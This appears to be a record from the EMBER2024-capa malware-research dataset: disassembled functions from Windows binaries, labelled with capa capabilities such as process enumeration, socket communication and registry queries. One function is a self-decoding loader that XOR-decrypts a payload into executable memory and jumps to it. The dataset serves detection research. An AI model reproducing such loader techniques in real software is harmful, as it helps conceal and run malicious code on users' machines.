joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100102b6
Capabilities:
Copy file
Set file attributes

Disassembly:
push 0x214
mov eax, 0x1002769c
call fcn.10015b1e
mov ebx, dword [ebp + 8]
cmp dword [ebx + 8], 0
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0x220], edi
je 0x100102e1
mov eax, reloc.OLEAUT32.dll_VariantCopyInd
jmp 0x10010485
lea ecx, [ebx - 0xc]
mov eax, dword [ecx]
call dword [eax + 0x10]
mov esi, dword [ebx + 0x14]
test esi, esi
jne 0x100102fa
mov eax, 0x80004005
jmp 0x10010485
mov eax, dword [ebp + 0x10]
mov edx, eax
mov ecx, reloc.OLEAUT32.dll_SysReAllocString
and edx, ecx
cmp edx, ecx
sete cl
mov byte [esi + 0x31], cl
mov edx, eax
mov ecx, reloc.OLEAUT32.dll_SysReAllocStringLen
and edx, ecx
cmp edx, ecx
mov edx, dword [ebx + 0x14]
sete cl
mov byte [edx + 0x32], cl
mov ecx, reloc.OLEAUT32.dll_VariantClear
and eax, ecx
cmp eax, ecx
mov ecx, dword [ebx + 0x14]
sete al
mov byte [ecx + 0x33], al
mov ecx, dword [ebx + 0x14]
push edi
add ecx, 0x28
call fcn.1002469e
mov ecx, dword [ebx + 0x14]
mov eax, dword [ecx]
call dword [eax + 0x18]
xor esi, esi
cmp eax, esi
jne 0x10010424
mov dword [ebp - 0x21c], esi
push str.Excel.Application
lea ecx, [ebp - 0x21c]
mov dword [ebp - 4], esi
call fcn.1002469e
test al, al
je 0x10010462
xor eax, eax
push 0x206
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push esi
push eax
call fcn.10015d40
push 0x5c
push edi
call fcn.1002469e
add esp, 0x14
cmp eax, esi
jne 0x100103ab
push 0x2f
push edi
call fcn.1002469e
pop ecx
pop ecx
cmp eax, esi
je 0x100103d3
add eax, 2
push 0x2e
push eax
call fcn.1002469e
push 0x104
mov edi, eax
lea esi, [ebp - 0x218]
call fcn.1002469e
mov edi, dword [ebp - 0x220]
add esp, 0xc
xor esi, esi
cmp word [ebp - 0x218], si
je 0x10010451
push esi
lea eax, [ebp - 0x218]
push eax
push edi
call dword [sym.imp.kernel32.dll_CopyFileW]
lea eax, [ebp - 0x218]
push esi
push eax
call fcn.1002469e
pop ecx
pop ecx
mov ecx, dword [ebx + 0x14]
add ecx, 0x24
test eax, eax
jne 0x10010443
lea eax, [ebp - 0x218]
push eax
call fcn.1002469e
push 0x80
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
jmp 0x10010449
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [ebp - 0x21c], eax
cmp eax, esi
jne 0x10010358
push 0x8007000e
call fcn.1002469e
push edi
call fcn.1002469e
mov eax, dword [ebx + 0x14]
add eax, 0x24
jmp 0x1001046e
push dword [ebp - 0x21c]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
jmp 0x100102f0
mov ecx, dword [ebx + 0x14]
push edi
add ecx, 0x24
call fcn.1002469e
push eax
lea ecx, [ebx + 0x10]
call fcn.1002469e
push dword [ebp - 0x21c]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
xor eax, eax
call fcn.10015ba1
ret 0xc
Function at 0x1001212a
Capabilities:
Enumerate processes

Disassembly:
push 0x238
mov eax, 0x10027950
call fcn.10015b1e
mov ebx, dword [ebp + 8]
xor edi, edi
cmp ebx, edi
jne 0x10012149
xor eax, eax
jmp 0x1001221e
push edi
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, edi
je 0x1001221c
lea eax, [ebp - 0x23c]
push eax
push esi
mov dword [ebp - 0x23c], 0x22c
call sub.kernel32.dll_Process32FirstW
jmp 0x100121f2
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x240]
call fcn.100120e9
and dword [ebp - 4], 0
push ebx
lea ecx, [ebp - 0x244]
call fcn.100120e9
lea ecx, [ebp - 0x240]
mov byte [ebp - 4], 1
call fcn.10011f97
lea ecx, [ebp - 0x244]
call fcn.10011f97
push dword [ebp - 0x240]
lea ecx, [ebp - 0x244]
call fcn.1002469e
mov ecx, dword [ebp - 0x244]
add ecx, 0xfffffff0
test eax, eax
je 0x100121fc
call fcn.10011b75
mov ecx, dword [ebp - 0x240]
or dword [ebp - 4], 0xffffffff
add ecx, 0xfffffff0
call fcn.10011b75
lea eax, [ebp - 0x23c]
push eax
push esi
call sub.kernel32.dll_Process32NextW
test eax, eax
jne 0x10012174
jmp 0x10012215
mov edi, dword [ebp - 0x234]
call fcn.10011b75
mov ecx, dword [ebp - 0x240]
add ecx, 0xfffffff0
call fcn.10011b75
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
call fcn.10015ba1
ret

Function at 0x10013c76
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x10039078], 0
push esi
push edi
jne 0x10013bec
call fcn.10013b58
test eax, eax
je 0x10013c31
mov eax, dword [0x10039078]
cmp eax, 1
jne 0x10013c0d
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x10013c31
jmp 0x10013c73
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x10013c73
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x10013c35
xor eax, eax
jmp 0x10013c73
mov eax, dword [esi]
push dword [0x10039078]
call edi
mov edi, eax
test edi, edi
je 0x10013c57
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x10013c73
lea edi, [esi + 0xff0]
push esi
push dword [0x10039078]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x10013c5d
mov eax, esi
pop edi
pop esi
ret
jmp 0x10013bd8

Function at 0x100155f6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10037a70]
jne 0x10015600
repz ret
jmp fcn.10017fba
Function at 0x1002469e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x100246ad
pop dword [ebp - 0x14]
mov eax, 0x55517209
sub eax, 0x454f2b5c
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x4334e
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0x5887
mov edx, eax
mov ebx, 0x4822f883
sub ebx, 0x381ed683
add ebx, dword [ebp - 0x14]
mov esi, 0x5abfb18b
add dword [ebp - 0x10], 0xe5ba1385
mov edi, dword [ebx]
xor dword [ebp - 0x10], 0x6130cd8e
xor edi, esi
add dword [ebp - 0xc], 0x51b18c3
mov dword [edx], edi
sub dword [ebp - 0xc], ecx
add edx, 4
add ebx, 0x4a878d34
add ebx, 0xb57872d0
loop 0x100246fb
add eax, 0x5293eda
sub eax, 0x527e9eb
xor ebx, ebx
add ebx, eax
add eax, 0xb53795e3
add eax, 0x4ac86a22
mov ecx, 0x10000000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x401350
Capabilities:
Terminate process

Disassembly:
mov eax, 0x1014
call fcn.00440910
push ebx
push ebp
push esi
mov esi, dword [esp + 0x102c]
xor ebx, ebx
cmp esi, 0x3e8
lea ebp, [esp + 0x20]
mov byte [esp + 0xf], 1
ja 0x40139c
mov eax, dword [str.gateway.c]
push 0x88
push eax
push 0x4561a0
call fcn.0040c9a0
add esp, 0xc
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x1014
ret
cmp byte [esi], 0
je 0x4015a6
push 4
push str.COM
push esi
call fcn.00405df0
add esp, 0xc
test eax, eax
jne 0x40148f
mov ecx, 0x4561b4
neg ecx
sbb ecx, ecx
and ecx, 5
cmp ecx, 0xfff
mov ebx, 1
jle 0x4013ef
mov edx, dword [str.gateway.c]
push 0x90
push edx
push str._int_STRLEN_____________int___int___int_sizeof_command_buf__1__
call fcn.0040c9a0
add esp, 0xc
push edi
push 0xfff
lea eax, [esp + 0x28]
push str.____
push eax
call fcn.00405750
lea ecx, [esp + 0x30]
add esp, 0xc
test ecx, ecx
je 0x401421
or ecx, 0xffffffff
xor eax, eax
lea edi, [esp + 0x24]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edx, ecx
jmp 0x401423
xor edx, edx
add esi, 3
test esi, esi
je 0x401438
or ecx, 0xffffffff
xor eax, eax
mov edi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
jmp 0x40143a
xor ecx, ecx
mov eax, 0xfff
sub eax, edx
cmp ecx, eax
pop edi
jle 0x40145f
mov ecx, dword [str.gateway.c]
push 0x91
push ecx
push str._int_STRLEN_buf__3_____int____int_sizeof_command_buf__1________len_
call fcn.0040c9a0
add esp, 0xc
push 0xfff
lea edx, [esp + 0x24]
push esi
push edx
call fcn.004057e0
push str.close_toolkit
push esi
call fcn.00405320
add esp, 0x14
test al, al
je 0x401592
mov byte [esp + 0xf], 0
jmp 0x401592
push 4
push str.WHO
push esi
call fcn.00405df0
add esp, 0xc
test eax, eax
jne 0x4014b0
mov ebx, 3
lea ebp, [esi + 4]
jmp 0x401592
push 0x456268
push esi
call fcn.00405320
add esp, 8
test al, al
je 0x4014d1
mov ebx, 3
mov ebp, 0x45626c
jmp 0x401592
push 4
push str.PID
push esi
call fcn.00405df0
add esp, 0xc
test eax, eax
jne 0x4014f2
mov ebx, 4
lea ebp, [esi + 4]
jmp 0x401592
push 0x456278
push esi
call fcn.00405320
add esp, 8
test al, al
je 0x40150e
mov ebx, 6
jmp 0x401592
push str.DIE_ON_EOF
push esi
call fcn.00405320
add esp, 8
test al, al
je 0x401527
mov ebx, 8
jmp 0x401592
push 4
push str.MSG
push esi
call fcn.00405df0
add esp, 0xc
test eax, eax
jne 0x401545
mov ebx, 2
lea ebp, [esi + 4]
jmp 0x401592
push 4
push str.ERR
push esi
call fcn.00405df0
add esp, 0xc
test eax, eax
jne 0x401563
mov ebx, 5
lea ebp, [esi + 4]
jmp 0x401592
push 8
push str.TIMEOUT
push esi
call fcn.00405df0
add esp, 0xc
test eax, eax
je 0x40181d
push str.COMANS
push esi
call fcn.00405320
add esp, 8
test al, al
je 0x401592
mov ebx, 7
jmp dword [ebx*4 + 0x401844]
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1014
ret
mov edx, dword [str.gateway.c]
push 0xef
push edx
push str.op___op
call fcn.0040c9a0
add esp, 0xc
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x1014
ret

Function at 0x401870
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x40188d
push 0x466510
push eax
call fcn.00401890
add esp, 8
push 1
call fcn.004407fc
ret
Function at 0x401fb0
Capabilities:
Get hostname

Disassembly:
push ebx
mov ebx, dword [esp + 8]
cmp ebx, 0x3e8
push esi
jbe 0x401fc2
mov esi, ebx
jmp 0x401fd8
mov al, byte [0x456af1]
test al, al
mov esi, 0x46932c
je 0x401fd8
push 0x64
push esi
call sub.WS2_32.dll_gethostname
push edi
push 0x456c70
call fcn.004019a0
add esp, 4
test eax, eax
je 0x402023
push 0x456c78
call fcn.004019a0
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 0x200
jle 0x402023
mov eax, dword [str.gns_fwutil.c]
push 0xf8
push eax
push str._int_STRLEN__gns__ver_get_root____hosts_______int___int___int_sizeof_path__1__
call fcn.0040c9a0
add esp, 0xc
push 0x200
push str._hosts
call fcn.004019a0
add esp, 4
push eax
push 0x469b08
call fcn.00405750
mov ecx, 0x469b08
add esp, 0xc
test ecx, ecx
je 0x40205a
mov edi, ecx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
jmp 0x40205c
xor ecx, ecx
mov edx, 0x456cd8
neg edx
sbb edx, edx
mov eax, 0x200
neg edx
sub eax, ecx
cmp edx, eax
jle 0x40208b
mov ecx, dword [str.gns_fwutil.c]
push 0xf9
push ecx
push str._int_STRLEN_________int____int_sizeof_path__1________len_
call fcn.0040c9a0
add esp, 0xc
push 0x200
push 0x456d18
push 0x469b08
call fcn.004057e0
mov edx, 0x469b08
add esp, 0xc
test edx, edx
je 0x4020bb
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edx, ecx
jmp 0x4020bd
xor edx, edx
test esi, esi
je 0x4020cf
or ecx, 0xffffffff
xor eax, eax
mov edi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
jmp 0x4020d1
xor ecx, ecx
mov eax, 0x200
sub eax, edx
cmp ecx, eax
pop edi
jle 0x4020f6
mov ecx, dword [str.gns_fwutil.c]
push 0xfa
push ecx
push str._int_STRLEN_host_name_____int____int_sizeof_path__1________len_
call fcn.0040c9a0
add esp, 0xc
push 0x200
push esi
push 0x469b08
call fcn.004057e0
add esp, 0xc
pop esi
cmp ebx, 0x3e8
pop ebx
ja 0x40214c
mov al, byte [0x456af1]
test al, al
je 0x402145
push 0
push 0x469b08
call fcn.004102c0
add esp, 8
test eax, eax
je 0x402145
push 0
push 0
push 0x1fd
push 0x469b08
call fcn.00407340
add esp, 0x10
mov byte [0x456af1], 0
mov eax, 0x469b08
ret
Function at 0x408f50
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x114
push ebx
push ebp
push esi
mov esi, dword [esp + 0x128]
xor ebx, ebx
cmp esi, ebx
push edi
mov dword [esp + 0x10], ebx
jge 0x408f93
mov eax, dword [str.gen_com.c]
push 0x215
push eax
push str.num_retries__0
call fcn.0040c9a0
add esp, 0xc
pop edi
pop esi
pop ebp
mov eax, 0x1389
pop ebx
add esp, 0x114
ret
cmp dword [esp + 0x128], ebx
jge 0x408fc5
mov ecx, dword [str.gen_com.c]
push 0x216
push ecx
push str.timeout__0
call fcn.0040c9a0
add esp, 0xc
pop edi
pop esi
pop ebp
mov eax, 0x1389
pop ebx
add esp, 0x114
ret
mov edi, dword [esp + 0x130]
cmp edi, 0x3e8
ja 0x408ffd
mov edx, dword [str.gen_com.c]
push 0x217
push edx
push 0x45b408
call fcn.0040c9a0
add esp, 0xc
pop edi
pop esi
pop ebp
mov eax, 0x1389
pop ebx
add esp, 0x114
ret
cmp dword [esp + 0x138], 0x3e8
ja 0x409032
mov eax, dword [str.gen_com.c]
push 0x218
push eax
push 0x45b418
call fcn.0040c9a0
add esp, 0xc
pop edi
pop esi
pop ebp
mov eax, 0x1389
pop ebx
add esp, 0x114
ret
push edi
call fcn.00409140
add esp, 4
test al, al
jne 0x409072
push edi
call fcn.00409170
mov edi, eax
add esp, 4
cmp edi, ebx
jne 0x409072
mov ecx, dword [str.gen_com.c]
push 0x21d
push ecx
call fcn.0040ca80
add esp, 8
pop edi
pop esi
pop ebp
mov eax, 0x1389
pop ebx
add esp, 0x114
ret
cmp esi, ebx
jle 0x4090ed
mov eax, dword [esp + 0x134]
mov edx, eax
shl edx, 8
xor ecx, ecx
mov cl, ah
lea ebp, [edx + ecx]
push 0
push 1
push 2
call sub.WS2_32.dll_socket
push edi
mov esi, eax
mov word [esp + 0x18], 2
mov word [esp + 0x1a], bp
call sub.WS2_32.dll_inet_addr
mov dword [esp + 0x18], eax
push 0x10
lea eax, [esp + 0x18]
xor edx, edx
push eax
mov dword [esp + 0x24], edx
push esi
mov dword [esp + 0x2c], edx
call sub.WS2_32.dll_connect
test eax, eax
je 0x4090e4
call sub.WS2_32.dll_WSAGetLastError
push esi
mov dword [esp + 0x14], eax
call sub.WS2_32.dll_closesocket
mov eax, dword [esp + 0x12c]
inc ebx
cmp ebx, eax
jl 0x409089
jmp 0x4090ed
cmp ebx, dword [esp + 0x12c]
jl 0x409128
mov ecx, dword [esp + 0x10]
push ecx
lea edx, [esp + 0x28]
push str.Windows_Socket_Error_Code__d
push edx
call fcn.0044077d
lea eax, [esp + 0x30]
push eax
push str.___G:_s82_gen_gen_com.c___GENERAL___576___connect:_s
push 0x1391
call fcn.0040c7f0
add esp, 0x18
pop edi
pop esi
pop ebp
mov eax, 0x1391
pop ebx
add esp, 0x114
ret
mov ecx, dword [esp + 0x138]
pop edi
mov dword [ecx], esi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x114
ret

Function at 0x409170
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push eax
call sub.WS2_32.dll_gethostbyname
test eax, eax
jne 0x40917f
ret
cmp word [eax + 0xa], 4
je 0x4091a2
mov ecx, dword [str.gen_com.c]
push 0x2b6
push ecx
push str.hostent__h_length__4
call fcn.0040c9a0
add esp, 0xc
xor eax, eax
ret
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
xor ecx, ecx
mov cl, byte [eax + 3]
xor edx, edx
mov dl, byte [eax + 2]
push ecx
xor ecx, ecx
mov cl, byte [eax + 1]
push edx
xor edx, edx
mov dl, byte [eax]
push ecx
push edx
push str._u._u._u._u
push 0x47cc90
call fcn.0044077d
add esp, 0x18
mov eax, 0x47cc90
ret
Function at 0x4092b0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x1c]
xor esi, esi
test edi, edi
jle 0x4092ed
mov ebx, dword [esp + 0x18]
mov ebp, dword [esp + 0x14]
push 0
mov eax, edi
sub eax, esi
push eax
lea ecx, [esi + ebx]
push ecx
push ebp
call sub.WS2_32.dll_send
test eax, eax
jge 0x4092e7
mov eax, dword [0x492f80]
cmp eax, 4
jne 0x4092f4
jmp 0x4092e9
add esi, eax
cmp esi, edi
jl 0x4092c6
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
cmp eax, 0x20
jne 0x409303
pop edi
pop esi
pop ebp
mov eax, 0x1392
pop ebx
ret
mov edx, dword [str.gen_com.c]
push 0x353
push edx
push str.write
call fcn.0040ca20
mov edi, dword [0x492f80]
add esp, 0xc
xor eax, eax
cmp edi, 0xb
setne al
pop edi
pop esi
pop ebp
pop ebx
dec eax
and eax, 3
add eax, 0x1390
ret
Function at 0x4093d0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x60c
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x10], 0x400
xor edx, edx
mov eax, str.O5GO4LCN_QRjilQtQIXlVch_A_PK__noSVbCafagb
test eax, eax
je 0x409416
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jae 0x409416
mov cl, byte [edx + str.O5GO4LCN_QRjilQtQIXlVch_A_PK__noSVbCafagb]
add cl, byte [edx + str.WARNINGCOPYRIGHTVALORCOMPU_TERIZEDSYSTEMSLIMITED___]
sub cl, 0x41
mov byte [esp + edx + 0x11c], cl
inc edx
jmp 0x4093e4
mov byte [esp + edx + 0x11c], 0
xor edx, edx
mov eax, str.KdZcXpEU
test eax, eax
je 0x40944f
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jae 0x40944f
mov cl, byte [edx + str.FORKSLEEPEXIT]
add cl, byte [edx + str.KdZcXpEU]
sub cl, 0x41
mov byte [esp + edx + 0x1c], cl
inc edx
jmp 0x409420
mov byte [esp + edx + 0x1c], 0
lea edx, [esp + 0x14]
push edx
push 1
push 0
lea eax, [esp + 0x128]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x409496
push 0x56e
push 0x45b778
call fcn.0040ca80
add esp, 8
pop edi
pop esi
pop ebp
mov eax, 0x1389
pop ebx
add esp, 0x60c
ret
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x220]
push edx
mov edx, dword [esp + 0x1c]
lea eax, [esp + 0x20]
push eax
push 0
lea ecx, [esp + 0x2c]
push ecx
push edx
call ebx
test eax, eax
je 0x4094e2
push 0x579
push 0x45b790
call fcn.0040ca80
add esp, 8
pop edi
pop esi
pop ebp
mov eax, 0x1389
pop ebx
add esp, 0x60c
ret
mov eax, dword [esp + 0x10]
dec eax
cmp eax, 0x13
jae 0x409513
cmp eax, 0x1b
jbe 0x409513
push 0x57e
push 0x45b7a8
call fcn.0040ca80
add esp, 8
pop edi
pop esi
pop ebp
mov eax, 0x1389
pop ebx
add esp, 0x60c
ret
mov esi, dword [esp + 0x628]
mov ebp, dword [esp + 0x624]
mov ecx, dword [esp + 0x620]
push esi
push ebp
push ecx
lea edx, [esp + 0x228]
push str._9d_9d_d
push edx
call fcn.00440b99
add esp, 0x14
cmp eax, 1
je 0x40954e
cmp eax, 2
jne 0x4095f7
xor edx, edx
mov eax, 0x45b760
test eax, eax
je 0x409581
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jae 0x409581
mov cl, byte [edx + 0x45b760]
mov eax, edx
inc cl
shr eax, 1
mov byte [esp + eax + 0x9c], cl
add edx, 2
jmp 0x409550
mov byte [edx + 0x45b760], 0
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x220]
push edx
mov edx, dword [esp + 0x1c]
lea eax, [esp + 0x20]
push eax
push 0
lea ecx, [esp + 0xac]
push ecx
push edx
call ebx
test eax, eax
je 0x4095d1
push 0x591
push str.G:_s82_gen_gen_com.c
call fcn.0040ca80
add esp, 8
pop edi
pop esi
pop ebp
mov eax, 0x1389
pop ebx
add esp, 0x60c
ret
push 4
lea eax, [esp + 0x220]
push eax
push ebp
call fcn.00406ea0
add esp, 0xc
mov dword [esi], 0xe333335e
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x60c
ret
cmp eax, 3
je 0x4095ea
pop edi
pop esi
pop ebp
mov eax, 0x1389
pop ebx
add esp, 0x60c
ret
Function at 0x410400
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x410413
xor eax, eax
ret
test al, 0x10
mov eax, 0
setne al
inc eax
ret

Function at 0x4104c0
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
push eax
push ecx
push edx
call fcn.00443ce9
add esp, 0xc
ret

Function at 0x4106e0
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push eax
push 0x101
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x41070c
push eax
push str.WSAStartup_failed._Error_Code__d
push 0x45e070
call fcn.00408960
add esp, 0xc
mov dword [0x490a3c], 1
add esp, 0x190
ret

Function at 0x410720
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
sub esp, 0x10c
push ebx
mov ebx, dword [esp + 0x118]
cmp ebx, 0x3e8
push ebp
push esi
push edi
ja 0x410761
mov eax, dword [str.gen_unix.c]
push 0xc6f
push eax
push str.L_PTR__cbuf__
call fcn.0040c9a0
add esp, 0xc
pop edi
pop esi
pop ebp
mov eax, 0xb0451
pop ebx
add esp, 0x10c
ret
mov ebp, dword [esp + 0x12c]
cmp ebp, 0x3e8
ja 0x410799
mov ecx, dword [str.gen_unix.c]
push 0xc70
push ecx
push str.L_PTR__bytes_was_read__
call fcn.0040c9a0
add esp, 0xc
pop edi
pop esi
pop ebp
mov eax, 0xb0451
pop ebx
add esp, 0x10c
ret
mov esi, dword [esp + 0x120]
lea edx, [esp + 0x10]
push edx
push 0
push 0
lea eax, [esp + 0x24]
push eax
push esi
mov dword [esp + 0x24], 0x3c
mov dword [esp + 0x28], 0
mov dword [esp + 0x30], esi
mov dword [esp + 0x2c], 1
call sub.WS2_32.dll_select
test eax, eax
je 0x41084a
mov edi, dword [esp + 0x128]
push 0
push edi
push ebx
push esi
call sub.WS2_32.dll_recv
cmp eax, 0xffffffff
jne 0x41084c
call sub.WS2_32.dll_WSAGetLastError
add eax, 0xffffd8ec
cmp eax, 0x38
ja case.0x410801.10007
xor ecx, ecx
mov cl, byte [eax + 0x41086c]
jmp dword [ecx*4 + 0x41085c]
pop edi
pop esi
pop ebp
mov eax, 0xb0454
pop ebx
add esp, 0x10c
ret
pop edi
pop esi
pop ebp
mov eax, 0xb0455
pop ebx
add esp, 0x10c
ret
mov eax, edi
pop edi
pop esi
mov dword [ebp], eax
pop ebp
xor eax, eax
pop ebx
add esp, 0x10c
ret
pop edi
pop esi
pop ebp
mov eax, 0xb0453
pop ebx
add esp, 0x10c
ret
xor eax, eax
pop edi
pop esi
mov dword [ebp], eax
pop ebp
xor eax, eax
pop ebx
add esp, 0x10c
ret
Function at 0x4122b0
Capabilities:
Get hostname

Disassembly:
push ebp
push edi
push 0x32
xor eax, eax
mov ecx, 0x3a
mov edi, 0x490ce8
push 0x490ce8
rep stosd dword es:[edi], eax
call sub.WS2_32.dll_gethostname
mov ebp, dword [esp + 0xc]
test ebp, ebp
je 0x4122fd
or ecx, 0xffffffff
xor eax, eax
mov edi, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 0x31
jle 0x4122fd
mov eax, dword [str.csl_com.c]
push 0x134
push eax
push str._int_STRLEN__proc_name_____int___int___int_sizeof_my_id.proc_name__1__
call fcn.0040c9a0
add esp, 0xc
push 0x31
push ebp
push 0x490d1a
call fcn.00405750
mov edx, dword [esp + 0x1c]
add esp, 0xc
test edx, edx
je 0x412322
mov cl, byte [edx]
xor eax, eax
test cl, cl
sete al
test eax, eax
je 0x412333
lea ecx, [esp + 0x10]
push ecx
call fcn.0040f720
mov edx, dword [esp + 0x14]
add esp, 4
test edx, edx
je 0x412365
or ecx, 0xffffffff
xor eax, eax
mov edi, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 0x31
jle 0x412365
mov edx, dword [str.csl_com.c]
push 0x138
push edx
push 0x45e758
call fcn.0040c9a0
mov edx, dword [esp + 0x1c]
add esp, 0xc
push esi
push 0x31
push edx
push 0x490d4c
call fcn.00405750
push str.DISPLAY
call fcn.00440b1c
mov esi, eax
add esp, 0x10
cmp esi, 0x3e8
jbe 0x4123dd
test esi, esi
je 0x4123b7
or ecx, 0xffffffff
xor eax, eax
mov edi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 0x31
jle 0x4123b7
mov eax, dword [str.csl_com.c]
push 0x13b
push eax
push str._int_STRLEN__p_____int___int___int_sizeof_my_id.disp_name__1__
call fcn.0040c9a0
add esp, 0xc
push 0x31
push esi
push 0x490d7e
call fcn.00405750
push 0x3a
push 0x490d7e
call fcn.00405e50
add esp, 0x14
cmp eax, 0x3e8
jbe 0x4123dd
mov byte [eax], 0
mov ecx, 0x490d7e
test ecx, ecx
pop esi
je 0x4123f8
mov dl, byte [0x490d7e]
xor eax, eax
test dl, dl
sete al
test eax, eax
je 0x41243e
mov edx, 0x490ce8
test edx, edx
je 0x41242a
or ecx, 0xffffffff
xor eax, eax
mov edi, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 0x31
jle 0x41242a
mov eax, dword [str.csl_com.c]
push 0x146
push eax
push str._int_STRLEN__my_id.host_name_____int___int___int_sizeof_my_id.disp_name__1__
call fcn.0040c9a0
add esp, 0xc
push 0x31
push 0x490ce8
push 0x490d7e
call fcn.00405750
add esp, 0xc
call fcn.004108e0
mov dword [0x490db0], eax
mov eax, dword [esp + 0x14]
mov ecx, eax
dec ecx
je 0x4124bc
dec ecx
je 0x4124b0
test eax, eax
mov dword [0x490de0], 0
jge 0x412464
neg eax
push 0x490db4
mov dword [0x490db8], eax
mov dword [0x490dbc], 0
call fcn.00409340
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
push 0x45e838
push ebp
mov dword [0x490dc8], ecx
mov dword [0x490dcc], edx
call fcn.00405d90
add esp, 0xc
test eax, eax
pop edi
pop ebp
jne 0x4124aa
mov byte [0x45e628], al
mov eax, 0x490ce8
ret
mov dword [0x490de0], 1
jmp 0x412464
mov dword [0x490de0], 2
jmp 0x412464